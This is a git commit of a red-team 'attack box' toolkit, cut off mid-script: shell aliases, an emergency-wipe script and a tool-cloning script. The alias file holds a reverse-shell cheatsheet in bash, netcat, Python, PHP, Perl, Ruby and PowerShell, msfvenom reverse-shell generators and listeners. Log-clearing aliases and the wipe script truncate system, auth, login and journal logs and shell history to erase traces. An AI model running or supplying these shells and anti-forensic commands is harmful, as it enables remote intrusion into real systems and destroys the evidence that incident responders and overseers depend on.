Initial public portfolio release
Sanitized version of red team infrastructure automation platform. Operational content (implant pipelines, lures, credential capture) replaced with documented stubs. Architecture and infrastructure automation code intact.
This commit is contained in:
Operator
+36
@@ -0,0 +1,36 @@
|
||||
# Attack Box Configuration
|
||||
# ========================
|
||||
|
||||
# Attack Box Setup Information
|
||||
ATTACK_BOX_VERSION="1.0.0"
|
||||
WORKSPACE_DIR="/root/operator"
|
||||
SCRIPTS_DIR="/root/operator/tools/scripts"
|
||||
TOOLS_DIR="/root/operator/tools"
|
||||
|
||||
# Available Commands
|
||||
echo "Attack Box Commands:"
|
||||
echo "==================="
|
||||
echo "recon <target> - Run reconnaissance automation"
|
||||
echo "portscan <target> - Run port scan automation"
|
||||
echo "webenum <target> - Run web enumeration automation"
|
||||
echo "attack-menu - Launch manual testing menu"
|
||||
echo "operator - Change to main directory"
|
||||
echo "mkoperator <name> - Create new engagement structure"
|
||||
echo ""
|
||||
echo "Workspace Structure:"
|
||||
echo "==================="
|
||||
echo "~/operator/tools/ - All security tools and scripts"
|
||||
echo "~/operator/scans/ - All scan results organized by type"
|
||||
echo "~/operator/loot/ - Extracted data and credentials"
|
||||
echo "~/operator/targets/ - Target lists and reconnaissance"
|
||||
echo "~/operator/notes/ - Manual notes and observations"
|
||||
echo "~/operator/reports/ - Documentation and reporting"
|
||||
echo "~/operator/exploits/ - Working exploits and POCs"
|
||||
echo "~/operator/payloads/ - Custom payloads and shells"
|
||||
echo "~/operator/wordlists/ - Custom and downloaded wordlists"
|
||||
echo "~/operator/pcaps/ - Network captures and analysis"
|
||||
echo ""
|
||||
echo "Trashpanda-style Directory Structure:"
|
||||
echo "====================================="
|
||||
echo "The operator directory follows the exact structure as TrashPanda tool"
|
||||
echo "with organized subdirectories for different scan types and data."
|
||||
@@ -0,0 +1,462 @@
|
||||
# OPSEC-Aware Shell Aliases for Attack Box
|
||||
# Clean configuration without identifiable information
|
||||
|
||||
# ─── GENERAL ALIASES ─────────────────────────────────────────────────────────
|
||||
|
||||
alias ll='ls -alFh --color=auto'
|
||||
alias la='ls -A --color=auto'
|
||||
alias l='ls -CF --color=auto'
|
||||
alias cls='clear'
|
||||
alias clr='clear'
|
||||
alias ..='cd ..'
|
||||
alias ...='cd ../..'
|
||||
alias ....='cd ../../..'
|
||||
alias grep='grep --color=auto'
|
||||
alias egrep='egrep --color=auto'
|
||||
alias fgrep='fgrep --color=auto'
|
||||
|
||||
# File operations with safety
|
||||
alias cp='cp -i'
|
||||
alias mv='mv -i'
|
||||
alias rm='rm -i'
|
||||
|
||||
# ─── OPSEC ALIASES ───────────────────────────────────────────────────────────
|
||||
|
||||
# Network checks
|
||||
alias myip='curl -s ifconfig.me'
|
||||
alias checkip='curl -s https://ipinfo.io/ip'
|
||||
alias checkdns='cat /etc/resolv.conf'
|
||||
alias ports='netstat -tulanp'
|
||||
alias listen='lsof -i -P | grep LISTEN'
|
||||
alias estab='lsof -i -P | grep ESTABLISHED'
|
||||
|
||||
# Process and connection monitoring
|
||||
alias checkcon='ss -tupan | grep ESTABLISHED'
|
||||
alias checklis='ss -tupan | grep LISTEN'
|
||||
alias checkproc='ps auxf | grep -v grep | grep'
|
||||
alias psg='ps aux | grep -v grep | grep -i'
|
||||
alias pscpu='ps auxf | sort -nr -k 3'
|
||||
alias psmem='ps auxf | sort -nr -k 4'
|
||||
|
||||
# Emergency and cleanup
|
||||
alias panic='emergency-wipe.sh'
|
||||
alias emergency-wipe='emergency-wipe.sh'
|
||||
alias killcon='killall -9 openvpn ssh sshd nc ncat socat 2>/dev/null'
|
||||
alias clean='trash-cleanup.sh'
|
||||
alias opsec='opsec-check.sh'
|
||||
|
||||
# Cleanup operations
|
||||
alias wipe-free='sudo sfill -v /'
|
||||
alias clear-logs='sudo find /var/log -type f -exec truncate -s 0 {} \;'
|
||||
alias clear-history='history -c && > ~/.bash_history && > ~/.zsh_history'
|
||||
alias clear-auth='sudo truncate -s 0 /var/log/auth.log'
|
||||
alias shred-file='shred -vfz -n 3'
|
||||
|
||||
# Anonymity
|
||||
alias anon-on='sudo systemctl start tor && . torsocks on'
|
||||
alias anon-off='. torsocks off && sudo systemctl stop tor'
|
||||
alias check-tor='curl -s https://check.torproject.org/api/ip'
|
||||
|
||||
# ─── NAVIGATION SHORTCUTS ────────────────────────────────────────────────────
|
||||
|
||||
alias ops='cd ~/ops'
|
||||
alias targets='cd ~/ops/targets'
|
||||
alias loot='cd ~/ops/loot'
|
||||
alias logs='cd ~/ops/logs'
|
||||
alias reports='cd ~/ops/reports'
|
||||
alias shells='cd ~/ops/shells'
|
||||
alias mount='cd ~/ops/mount'
|
||||
alias tools='cd ~/tools'
|
||||
alias www='cd /var/www/html'
|
||||
alias tmp='cd /tmp'
|
||||
alias payloads='cd ~/ops/payloads'
|
||||
alias wordlists='cd ~/tools/wordlists'
|
||||
alias exploits='cd ~/ops/exploits'
|
||||
|
||||
# ─── QUICK SERVERS ───────────────────────────────────────────────────────────
|
||||
|
||||
alias serve='python3 -m http.server'
|
||||
alias serve80='sudo python3 -m http.server 80'
|
||||
alias servephp='php -S 0.0.0.0:8080'
|
||||
alias smbserv='impacket-smbserver share . -smb2support'
|
||||
alias ftpserv='python3 -m pyftpdlib -p 21 -w'
|
||||
|
||||
# ─── REVERSE SHELL CATCHERS ──────────────────────────────────────────────────
|
||||
|
||||
alias ncl='nc -nvlp'
|
||||
alias ncu='nc -nvu'
|
||||
alias socatl='socat TCP-LISTEN:$1,reuseaddr,fork -'
|
||||
alias rlwrapl='rlwrap nc -nvlp'
|
||||
|
||||
# ─── SSH TUNNEL SHORTCUTS ────────────────────────────────────────────────────
|
||||
|
||||
alias socks='function _socks() {
|
||||
local config_name="$1"
|
||||
local port="${2:-1080}"
|
||||
|
||||
if [ -z "$config_name" ]; then
|
||||
echo "Usage: socks <ssh-config-name> [port]"
|
||||
return 1
|
||||
fi
|
||||
|
||||
# Kill existing proxy
|
||||
lsof -ti:$port | xargs -r kill -9 2>/dev/null
|
||||
|
||||
# Start SSH SOCKS proxy
|
||||
ssh -D $port -N -f "$config_name" || return 1
|
||||
|
||||
# Create temp profile
|
||||
local temp_profile="/tmp/firefox-socks-$$"
|
||||
mkdir -p "$temp_profile"
|
||||
|
||||
# Add proxy settings
|
||||
cat > "$temp_profile/user.js" << EOF
|
||||
user_pref("network.proxy.type", 1);
|
||||
user_pref("network.proxy.socks", "localhost");
|
||||
user_pref("network.proxy.socks_port", $port);
|
||||
user_pref("network.proxy.socks_version", 5);
|
||||
user_pref("network.proxy.socks_remote_dns", true);
|
||||
EOF
|
||||
|
||||
# Use setsid to fully detach and preserve input
|
||||
setsid firefox --profile "$temp_profile" --no-remote https://httpbin.org/ip &
|
||||
|
||||
echo "✓ Firefox launched with SOCKS proxy"
|
||||
}; _socks'
|
||||
|
||||
# Enhanced stop function
|
||||
alias socks-stop='function _socks_stop() {
|
||||
local port="${1:-1080}"
|
||||
|
||||
echo -n "Stopping SOCKS proxy on port $port... "
|
||||
lsof -ti:$port | xargs -r kill -9 2>/dev/null && echo "OK" || echo "Not running"
|
||||
|
||||
# Clean up temp profiles
|
||||
rm -rf /tmp/firefox-socks-* 2>/dev/null
|
||||
}; _socks_stop'
|
||||
|
||||
# Local port forwarding - Access remote service on local port
|
||||
# Usage: ssh-local 8080 target.com 80 user@jumpbox
|
||||
ssh-local() {
|
||||
if [ $# -ne 4 ]; then
|
||||
echo "Usage: ssh-local <local-port> <remote-host> <remote-port> <ssh-server>"
|
||||
echo "Example: ssh-local 8080 10.10.10.1 80 user@jumpbox.com"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Creating local tunnel: localhost:$1 -> $2:$3 via $4"
|
||||
ssh -N -L $1:$2:$3 $4
|
||||
}
|
||||
|
||||
# Remote port forwarding - Expose local service to remote
|
||||
# Usage: ssh-remote 8080 localhost 80 user@public-server
|
||||
ssh-remote() {
|
||||
if [ $# -ne 4 ]; then
|
||||
echo "Usage: ssh-remote <remote-port> <local-host> <local-port> <ssh-server>"
|
||||
echo "Example: ssh-remote 8080 localhost 80 user@public-server.com"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Creating remote tunnel: $4:$1 -> $2:$3"
|
||||
ssh -N -R $1:$2:$3 $4
|
||||
}
|
||||
|
||||
# Dynamic SOCKS proxy
|
||||
# Usage: ssh-socks 1080 user@target
|
||||
ssh-socks() {
|
||||
if [ $# -ne 2 ]; then
|
||||
echo "Usage: ssh-socks <local-port> <ssh-server>"
|
||||
echo "Example: ssh-socks 1080 user@target.com"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Creating SOCKS proxy on port $1 via $2"
|
||||
echo "[*] Configure browser/proxychains: socks5://127.0.0.1:$1"
|
||||
ssh -N -D $1 $2
|
||||
}
|
||||
|
||||
# Multi-hop SSH tunnel
|
||||
# Usage: ssh-multihop target.internal jumpbox.com
|
||||
ssh-multihop() {
|
||||
if [ $# -ne 2 ]; then
|
||||
echo "Usage: ssh-multihop <final-target> <jumpbox>"
|
||||
echo "Example: ssh-multihop root@10.10.10.1 user@jumpbox.com"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Connecting to $1 via $2"
|
||||
ssh -J $2 $1
|
||||
}
|
||||
|
||||
# ─── SSHFS MOUNT SHORTCUTS ───────────────────────────────────────────────────
|
||||
|
||||
# Mount remote directory via SSHFS
|
||||
# Usage: ssh-mount user@host:/path /local/mount
|
||||
ssh-mount() {
|
||||
if [ $# -ne 2 ]; then
|
||||
echo "Usage: ssh-mount <user@host:/remote/path> <local-mount-point>"
|
||||
echo "Example: ssh-mount root@target.com:/var/www ~/ops/mount/www"
|
||||
return 1
|
||||
fi
|
||||
mkdir -p $2
|
||||
echo "[*] Mounting $1 to $2"
|
||||
sshfs -o allow_other,default_permissions $1 $2
|
||||
}
|
||||
|
||||
# Unmount SSHFS
|
||||
# Usage: ssh-unmount /local/mount
|
||||
ssh-unmount() {
|
||||
if [ $# -ne 1 ]; then
|
||||
echo "Usage: ssh-unmount <local-mount-point>"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Unmounting $1"
|
||||
fusermount -u $1
|
||||
}
|
||||
|
||||
# Mount with specific SSH key
|
||||
# Usage: ssh-mount-key user@host:/path /local/mount /path/to/key
|
||||
ssh-mount-key() {
|
||||
if [ $# -ne 3 ]; then
|
||||
echo "Usage: ssh-mount-key <user@host:/remote/path> <local-mount> <ssh-key>"
|
||||
return 1
|
||||
fi
|
||||
mkdir -p $2
|
||||
echo "[*] Mounting $1 to $2 using key $3"
|
||||
sshfs -o allow_other,default_permissions,IdentityFile=$3 $1 $2
|
||||
}
|
||||
|
||||
# ─── TOOL SHORTCUTS ──────────────────────────────────────────────────────────
|
||||
|
||||
# Metasploit
|
||||
alias msf='msfconsole -q'
|
||||
alias msfup='msfupdate'
|
||||
alias msfrpc='msfrpcd -U msf -P msf -a 127.0.0.1'
|
||||
|
||||
# Nmap shortcuts
|
||||
alias nmap-full='nmap -sC -sV -O -p- -T4'
|
||||
alias nmap-udp='sudo nmap -sU -sV --top-ports 1000'
|
||||
alias nmap-vuln='nmap -sV --script=vuln'
|
||||
alias nmap-smb='nmap -sV -p 445 --script=smb-enum-shares,smb-enum-users'
|
||||
|
||||
# Tool updates
|
||||
alias update-tools='update-all-tools.sh'
|
||||
alias update-searchsploit='searchsploit -u'
|
||||
alias update-nmap-scripts='sudo nmap --script-updatedb'
|
||||
|
||||
# Quick tool access
|
||||
alias kerb='kerbrute'
|
||||
alias responder='sudo responder -I eth0 -wFv'
|
||||
alias crack='crackmapexec'
|
||||
alias evil='evil-winrm -i'
|
||||
alias bloodhound-start='sudo neo4j start && bloodhound'
|
||||
|
||||
# ─── ENCODING/DECODING ───────────────────────────────────────────────────────
|
||||
|
||||
alias b64d='base64 -d'
|
||||
alias b64e='base64 -w 0'
|
||||
alias urldecode='python3 -c "import sys, urllib.parse as ul; print(ul.unquote(sys.stdin.read()))"'
|
||||
alias urlencode='python3 -c "import sys, urllib.parse as ul; print(ul.quote(sys.stdin.read()))"'
|
||||
alias hexdump='od -A x -t x1z -v'
|
||||
alias rot13='tr "A-Za-z" "N-ZA-Mn-za-m"'
|
||||
|
||||
# ─── METASPLOIT PAYLOAD GENERATORS ───────────────────────────────────────────
|
||||
|
||||
alias msfpayloads='msfvenom -l payloads'
|
||||
alias msfencoders='msfvenom -l encoders'
|
||||
alias winrev='msfvenom -p windows/x64/shell_reverse_tcp LHOST=$1 LPORT=$2 -f exe -o shell.exe'
|
||||
alias linrev='msfvenom -p linux/x64/shell_reverse_tcp LHOST=$1 LPORT=$2 -f elf -o shell.elf'
|
||||
alias phprev='msfvenom -p php/reverse_php LHOST=$1 LPORT=$2 -f raw -o shell.php'
|
||||
alias asprev='msfvenom -p windows/shell_reverse_tcp LHOST=$1 LPORT=$2 -f asp -o shell.asp'
|
||||
alias jsprev='msfvenom -p java/jsp_shell_reverse_tcp LHOST=$1 LPORT=$2 -f raw -o shell.jsp'
|
||||
alias warrev='msfvenom -p java/jsp_shell_reverse_tcp LHOST=$1 LPORT=$2 -f war -o shell.war'
|
||||
|
||||
# ─── WORDLIST SHORTCUTS ──────────────────────────────────────────────────────
|
||||
|
||||
alias rockyou='locate rockyou.txt | head -1'
|
||||
alias seclists='cd ~/tools/wordlists/SecLists'
|
||||
alias dirmedium='locate directory-list-2.3-medium.txt | head -1'
|
||||
alias submedium='locate subdomains-top1million-110000.txt | head -1'
|
||||
|
||||
# ─── PROXYCHAINS ─────────────────────────────────────────────────────────────
|
||||
|
||||
alias pc='proxychains4 -q'
|
||||
alias pcnmap='proxychains4 -q nmap -sT -Pn'
|
||||
|
||||
# ─── CHISEL SHORTCUTS ────────────────────────────────────────────────────────
|
||||
|
||||
alias chisel-server='chisel server -p 8000 --reverse'
|
||||
alias chisel-client='chisel client $1:8000 R:socks'
|
||||
|
||||
# ─── QUICK FUNCTIONS ─────────────────────────────────────────────────────────
|
||||
|
||||
# Extract various archive types
|
||||
extract() {
|
||||
if [ -f $1 ]; then
|
||||
case $1 in
|
||||
*.tar.bz2) tar xjf $1 ;;
|
||||
*.tar.gz) tar xzf $1 ;;
|
||||
*.bz2) bunzip2 $1 ;;
|
||||
*.rar) unrar x $1 ;;
|
||||
*.gz) gunzip $1 ;;
|
||||
*.tar) tar xf $1 ;;
|
||||
*.tbz2) tar xjf $1 ;;
|
||||
*.tgz) tar xzf $1 ;;
|
||||
*.zip) unzip $1 ;;
|
||||
*.Z) uncompress $1;;
|
||||
*.7z) 7z x $1 ;;
|
||||
*) echo "'$1' cannot be extracted" ;;
|
||||
esac
|
||||
else
|
||||
echo "'$1' is not a valid file"
|
||||
fi
|
||||
}
|
||||
|
||||
# Create backup of file
|
||||
backup() {
|
||||
cp "$1" "${1}.$(date +%Y%m%d_%H%M%S).bak"
|
||||
}
|
||||
|
||||
# Quick nmap scans
|
||||
quickscan() {
|
||||
echo "[*] Quick scan of $1"
|
||||
nmap -sV -sC -O -T4 -n -Pn -oA quickscan_$1 $1
|
||||
}
|
||||
|
||||
fullscan() {
|
||||
echo "[*] Full scan of $1"
|
||||
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullscan_$1 $1
|
||||
}
|
||||
|
||||
udpscan() {
|
||||
echo "[*] UDP scan of $1"
|
||||
sudo nmap -sU -sV --top-ports 1000 -oA udpscan_$1 $1
|
||||
}
|
||||
|
||||
# Reverse shell cheatsheet
|
||||
revshells() {
|
||||
echo "===== Reverse Shell Cheatsheet ====="
|
||||
echo "Bash:"
|
||||
echo " bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
|
||||
echo ""
|
||||
echo "Bash (alternative):"
|
||||
echo " 0<&196;exec 196<>/dev/tcp/10.0.0.1/4444; sh <&196 >&196 2>&196"
|
||||
echo ""
|
||||
echo "Netcat:"
|
||||
echo " nc -e /bin/bash 10.0.0.1 4444"
|
||||
echo " nc -c bash 10.0.0.1 4444"
|
||||
echo " rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f"
|
||||
echo ""
|
||||
echo "Python:"
|
||||
echo " python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'"
|
||||
echo ""
|
||||
echo "Python3:"
|
||||
echo " python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'"
|
||||
echo ""
|
||||
echo "PHP:"
|
||||
echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);exec(\"/bin/bash <&3 >&3 2>&3\");'"
|
||||
echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);shell_exec(\"/bin/bash <&3 >&3 2>&3\");'"
|
||||
echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);\$proc=proc_open(\"/bin/bash\", array(0=>\$sock, 1=>\$sock, 2=>\$sock),\$pipes);'"
|
||||
echo ""
|
||||
echo "Perl:"
|
||||
echo " perl -e 'use Socket;\$i=\"10.0.0.1\";\$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'"
|
||||
echo ""
|
||||
echo "Ruby:"
|
||||
echo " ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",4444).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'"
|
||||
echo ""
|
||||
echo "PowerShell:"
|
||||
echo " powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""
|
||||
}
|
||||
|
||||
# Upgrade shell
|
||||
upgradeshell() {
|
||||
echo "===== Shell Upgrade Commands ====="
|
||||
echo "Python:"
|
||||
echo " python -c 'import pty;pty.spawn(\"/bin/bash\")'"
|
||||
echo " python3 -c 'import pty;pty.spawn(\"/bin/bash\")'"
|
||||
echo ""
|
||||
echo "Script:"
|
||||
echo " script -q /dev/null -c bash"
|
||||
echo ""
|
||||
echo "Then:"
|
||||
echo " export TERM=xterm"
|
||||
echo " export SHELL=bash"
|
||||
echo " stty rows 24 cols 80"
|
||||
echo ""
|
||||
echo "Background with Ctrl+Z, then:"
|
||||
echo " stty raw -echo;fg"
|
||||
echo ""
|
||||
echo "For zsh shell:"
|
||||
echo " python3 -c 'import pty;pty.spawn(\"/bin/zsh\")'"
|
||||
}
|
||||
|
||||
# Quick HTTP server with upload capability
|
||||
upload_server() {
|
||||
echo "Starting upload server on port 8080..."
|
||||
python3 -c 'import http.server,socketserver,cgi,os;os.chdir("/tmp");class SimpleHTTPRequestHandlerWithUpload(http.server.SimpleHTTPRequestHandler):
|
||||
def do_POST(self):
|
||||
if self.path=="/upload":
|
||||
form=cgi.FieldStorage(fp=self.rfile,headers=self.headers,environ={"REQUEST_METHOD":"POST","CONTENT_TYPE":self.headers["Content-Type"]})
|
||||
filename=form["file"].filename
|
||||
data=form["file"].file.read()
|
||||
with open(filename,"wb")as f:f.write(data)
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
self.wfile.write(b"Upload successful")
|
||||
else:self.send_error(404)
|
||||
httpd=socketserver.TCPServer(("",8080),SimpleHTTPRequestHandlerWithUpload);print("Upload server at http://0.0.0.0:8080/upload");httpd.serve_forever()'
|
||||
}
|
||||
|
||||
# Check all running services
|
||||
checkservices() {
|
||||
echo "===== Running Services ====="
|
||||
systemctl list-units --type=service --state=running
|
||||
}
|
||||
|
||||
# Download file to target
|
||||
download() {
|
||||
if [ $# -ne 2 ]; then
|
||||
echo "Usage: download <URL> <output-file>"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Downloading $1 to $2"
|
||||
curl -s -L "$1" -o "$2" || wget -q "$1" -O "$2"
|
||||
}
|
||||
|
||||
# Git shortcuts
|
||||
alias gs='git status'
|
||||
alias ga='git add'
|
||||
alias gc='git commit -m'
|
||||
alias gp='git push'
|
||||
alias gl='git log --oneline'
|
||||
alias gd='git diff'
|
||||
|
||||
# Docker shortcuts
|
||||
alias dps='docker ps'
|
||||
alias dpsa='docker ps -a'
|
||||
alias dimg='docker images'
|
||||
alias dexec='docker exec -it'
|
||||
alias dlog='docker logs'
|
||||
alias dstop='docker stop $(docker ps -q)'
|
||||
alias drm='docker rm $(docker ps -a -q)'
|
||||
alias drmi='docker rmi $(docker images -q)'
|
||||
|
||||
# ─── VIRTUAL ENVIRONMENT ALIASES ───────────────────────────────────────────────────────────
|
||||
|
||||
alias venv-create='python3 -m venv venv; source venv/bin/activate; pip install -r requirements.txt'
|
||||
alias venv-activate='source venv/bin/activate'
|
||||
|
||||
# ─── BURP PROXY ALIASES ───────────────────────────────────────────────────────────
|
||||
|
||||
alias burp_proxy='export https_proxy=http://127.0.0.1:8080; export http_proxy=$https_proxy; export NO_PROXY=169.254.169.254; echo "Burp proxy enabled: $http_proxy"'
|
||||
alias disable_burp_proxy='unset https_proxy; unset http_proxy; unset NO_PROXY; echo "Burp proxy disabled"'
|
||||
|
||||
# ─── RED TEAM VPN MONITORING ──────────────────────────────────────────────
|
||||
|
||||
# Safe OPSEC status check
|
||||
alias opsec-status='echo "🔍 OPSEC Status:"; echo "VPN: $(pgrep openvpn > /dev/null && echo "🔒 Connected" || echo "❌ Disconnected")"; echo "Tor: $(systemctl is-active tor 2>/dev/null | grep -q active && echo "🔒 Active" || echo "❌ Inactive")"; echo "IP: $(curl -s --max-time 2 ifconfig.me || echo "Check failed")"'
|
||||
|
||||
# Network status for red team ops
|
||||
alias net-status='echo "=== Network Status ==="; ip route | grep -E "tun|tor|vpn" || echo "No VPN/Tor interfaces"; echo ""; echo "=== External IP ==="; curl -s --max-time 3 ifconfig.me || echo "IP check failed"'
|
||||
|
||||
# Quick OPSEC check
|
||||
alias quick-opsec='opsec-status && echo "" && echo "=== Connections ===" && ss -tupln | grep -E ":443|:9050|:1080" | head -5'
|
||||
|
||||
# Tool paths
|
||||
export PATH=$PATH:~/tools:~/.cargo/bin:~/go/bin:/usr/local/bin
|
||||
Executable
+87
@@ -0,0 +1,87 @@
|
||||
#!/bin/bash
|
||||
# Emergency Wipe Script for OPSEC
|
||||
# Quickly sanitizes system for emergency situations
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
NC='\033[0m'
|
||||
|
||||
echo -e "${RED}=== EMERGENCY SANITIZATION PROTOCOL ===${NC}"
|
||||
echo -e "${YELLOW}This will clear sensitive data and logs${NC}"
|
||||
echo ""
|
||||
|
||||
# Confirm emergency wipe
|
||||
read -p "Are you sure you want to proceed? (type YES): " CONFIRM
|
||||
if [ "$CONFIRM" != "YES" ]; then
|
||||
echo -e "${GREEN}Emergency wipe cancelled${NC}"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo -e "${RED}[*] Beginning emergency sanitization...${NC}"
|
||||
|
||||
# Clear command history
|
||||
echo -e "${YELLOW}[*] Clearing command history${NC}"
|
||||
history -c
|
||||
> ~/.bash_history
|
||||
> ~/.zsh_history
|
||||
> ~/.python_history
|
||||
> ~/.mysql_history
|
||||
> ~/.psql_history
|
||||
|
||||
# Clear system logs
|
||||
echo -e "${YELLOW}[*] Clearing system logs${NC}"
|
||||
sudo find /var/log -type f -exec truncate -s 0 {} \; 2>/dev/null
|
||||
sudo truncate -s 0 /var/log/auth.log 2>/dev/null
|
||||
sudo truncate -s 0 /var/log/syslog 2>/dev/null
|
||||
sudo truncate -s 0 /var/log/kern.log 2>/dev/null
|
||||
|
||||
# Clear temporary files
|
||||
echo -e "${YELLOW}[*] Clearing temporary files${NC}"
|
||||
sudo rm -rf /tmp/* 2>/dev/null
|
||||
sudo rm -rf /var/tmp/* 2>/dev/null
|
||||
rm -rf ~/.cache/* 2>/dev/null
|
||||
|
||||
# Clear SSH known hosts
|
||||
echo -e "${YELLOW}[*] Clearing SSH artifacts${NC}"
|
||||
> ~/.ssh/known_hosts
|
||||
sudo truncate -s 0 /var/log/btmp 2>/dev/null
|
||||
sudo truncate -s 0 /var/log/wtmp 2>/dev/null
|
||||
sudo truncate -s 0 /var/log/lastlog 2>/dev/null
|
||||
|
||||
# Clear network traces
|
||||
echo -e "${YELLOW}[*] Clearing network artifacts${NC}"
|
||||
sudo ip neigh flush all 2>/dev/null
|
||||
|
||||
# Clear DNS cache
|
||||
echo -e "${YELLOW}[*] Clearing DNS cache${NC}"
|
||||
sudo systemctl restart systemd-resolved 2>/dev/null
|
||||
|
||||
# Clear browser data if present
|
||||
echo -e "${YELLOW}[*] Clearing browser data${NC}"
|
||||
rm -rf ~/.mozilla/firefox/*/sessionstore* 2>/dev/null
|
||||
rm -rf ~/.mozilla/firefox/*/cookies.sqlite 2>/dev/null
|
||||
rm -rf ~/.config/google-chrome/Default/History 2>/dev/null
|
||||
rm -rf ~/.config/google-chrome/Default/Cookies 2>/dev/null
|
||||
|
||||
# Secure delete free space (optional - takes time)
|
||||
read -p "Perform secure free space wipe? (y/N): " WIPE_FREE
|
||||
if [ "$WIPE_FREE" = "y" ] || [ "$WIPE_FREE" = "Y" ]; then
|
||||
echo -e "${YELLOW}[*] Securely wiping free space (this may take a while)${NC}"
|
||||
dd if=/dev/urandom of=/tmp/wipe_file bs=1M 2>/dev/null || true
|
||||
rm -f /tmp/wipe_file 2>/dev/null
|
||||
fi
|
||||
|
||||
# Clear systemd journal
|
||||
echo -e "${YELLOW}[*] Clearing systemd journal${NC}"
|
||||
sudo journalctl --vacuum-time=1s 2>/dev/null
|
||||
|
||||
# Final cleanup
|
||||
echo -e "${YELLOW}[*] Final cleanup${NC}"
|
||||
sync
|
||||
sudo updatedb 2>/dev/null
|
||||
|
||||
echo ""
|
||||
echo -e "${GREEN}=== EMERGENCY SANITIZATION COMPLETE ===${NC}"
|
||||
echo -e "${YELLOW}Consider rebooting the system for maximum effectiveness${NC}"
|
||||
echo -e "${RED}WARNING: This does not guarantee complete data removal${NC}"
|
||||
+122
@@ -0,0 +1,122 @@
|
||||
#!/bin/bash
|
||||
# Attack Box - Git Repositories Cloning Script
|
||||
# Clones security tool repositories with enhanced feedback
|
||||
|
||||
# Get OPERATOR_DIR from environment or use default
|
||||
OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
|
||||
|
||||
echo "================================================================"
|
||||
echo "GIT REPOSITORIES CLONING STARTED"
|
||||
echo "================================================================"
|
||||
|
||||
REPOS=(
|
||||
"https://github.com/SecureAuthCorp/impacket.git"
|
||||
"https://github.com/danielmiessler/SecLists.git"
|
||||
"https://github.com/swisskyrepo/PayloadsAllTheThings.git"
|
||||
"https://github.com/fuzzdb-project/fuzzdb.git"
|
||||
"https://github.com/1N3/Sn1per.git"
|
||||
"https://github.com/maurosoria/dirsearch.git"
|
||||
"https://github.com/OJ/gobuster.git"
|
||||
"https://github.com/aboul3la/Sublist3r.git"
|
||||
"https://github.com/laramies/theHarvester.git"
|
||||
"https://github.com/Tib3rius/AutoRecon.git"
|
||||
"https://github.com/carlospolop/PEASS-ng.git"
|
||||
"https://github.com/rebootuser/LinEnum.git"
|
||||
"https://github.com/mzet-/linux-exploit-suggester.git"
|
||||
"https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git"
|
||||
"https://github.com/PowerShellMafia/PowerSploit.git"
|
||||
"https://github.com/BloodHoundAD/BloodHound.git"
|
||||
"https://github.com/EmpireProject/Empire.git"
|
||||
"https://github.com/cobbr/Covenant.git"
|
||||
"https://github.com/byt3bl33d3r/CrackMapExec.git"
|
||||
"https://github.com/Hackplayers/evil-winrm.git"
|
||||
)
|
||||
|
||||
REPO_NAMES=(
|
||||
"impacket-dev"
|
||||
"SecLists"
|
||||
"PayloadsAllTheThings"
|
||||
"fuzzdb"
|
||||
"Sn1per"
|
||||
"dirsearch-dev"
|
||||
"gobuster-dev"
|
||||
"Sublist3r"
|
||||
"theHarvester-dev"
|
||||
"AutoRecon"
|
||||
"PEASS-ng"
|
||||
"LinEnum"
|
||||
"linux-exploit-suggester"
|
||||
"Windows-Exploit-Suggester"
|
||||
"PowerSploit"
|
||||
"BloodHound"
|
||||
"Empire"
|
||||
"Covenant"
|
||||
"CrackMapExec-dev"
|
||||
"evil-winrm"
|
||||
)
|
||||
|
||||
TOTAL=${#REPOS[@]}
|
||||
CURRENT=0
|
||||
FAILED=0
|
||||
SUCCESS=0
|
||||
|
||||
# Create git directory if it doesn't exist
|
||||
mkdir -p "$OPERATOR_DIR/tools/git"
|
||||
cd "$OPERATOR_DIR/tools/git"
|
||||
|
||||
for i in "${!REPOS[@]}"; do
|
||||
CURRENT=$((CURRENT + 1))
|
||||
repo="${REPOS[$i]}"
|
||||
name="${REPO_NAMES[$i]}"
|
||||
|
||||
echo ""
|
||||
echo "[$CURRENT/$TOTAL] Cloning $name..."
